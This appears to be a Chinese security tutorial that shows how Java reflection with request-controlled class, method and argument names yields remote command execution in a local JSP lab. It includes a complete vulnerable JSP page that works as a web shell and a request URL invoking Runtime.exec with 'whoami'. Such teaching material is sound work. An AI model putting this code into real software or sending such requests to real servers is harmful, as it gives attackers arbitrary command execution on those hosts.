0x01 前言

在我们上面几篇文章中讲的都是某个类我们可控造成的命令执行

但是有没有可能说代码中没有出现任何一个可执行函数(如exec()、system()等),一样也可以造成命令执行呢?

也是有可能,就是当项目中使用了反射但是同时里面的一些参数可控,那么也是有可能造成命令执行的

0x02 环境搭配

为了能模拟实战,这边搭建了一个JSP环境
如果还不会搭建jsp环境的可以按照下面的文章跟着搭建

Mac版IDEA创建maven web项目-详细过程: https://www.yuque.com/pmiaowu/gpy1q8/npv0fr

0x04 例子

  1. # webapp目录下面新建立一个文件: rceTest.jsp
  2. # 文件名: rceTest.jsp
  3. # command 为请求的类
  4. # method 为请求类的方法
  5. # str 为请求类的参数
  6. # 服务端接收这三个参数后执行 method 的具体方法
  7. <%@ page import="java.lang.reflect.Constructor" %>
  8. <%@ page import="java.lang.reflect.Method" %>
  9. <%@ page import="java.io.InputStream" %>
  10. <%@ page import="java.io.ByteArrayOutputStream" %>
  11. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  12. <%
  13. // 接收参数
  14. String name = request.getParameter("command");
  15. String method = request.getParameter("method");
  16. String str = request.getParameter("str");
  17. // 获取类的无参数构造方法
  18. Class getCommandClass = Class.forName(name);
  19. Constructor constructor = getCommandClass.getDeclaredConstructor();
  20. constructor.setAccessible(true);
  21. // 实例化类
  22. Object getInstance = constructor.newInstance();
  23. // 获取类方法
  24. Method getCommandMethod = getCommandClass.getDeclaredMethod(method, String.class);
  25. getCommandMethod.setAccessible(true);
  26. // 调用类方法
  27. Process p = (Process) getCommandMethod.invoke(getInstance, str);
  28. // 获取结果
  29. InputStream in = p.getInputStream();
  30. ByteArrayOutputStream results = new ByteArrayOutputStream();
  31. byte[] b = new byte[1024];
  32. int l = -1;
  33. while ((l = in.read(b)) != -1) {
  34. results.write(b, 0, l);
  35. }
  36. out.println("即将执行的操作指令");
  37. out.print(results);
  38. %>
  1. 访问urlhttp://127.0.0.1:8081/mavenJspTest_war/rceTest.jsp?command=java.lang.Runtime&method=exec&str=whoami

命令执行效果如下:
image.png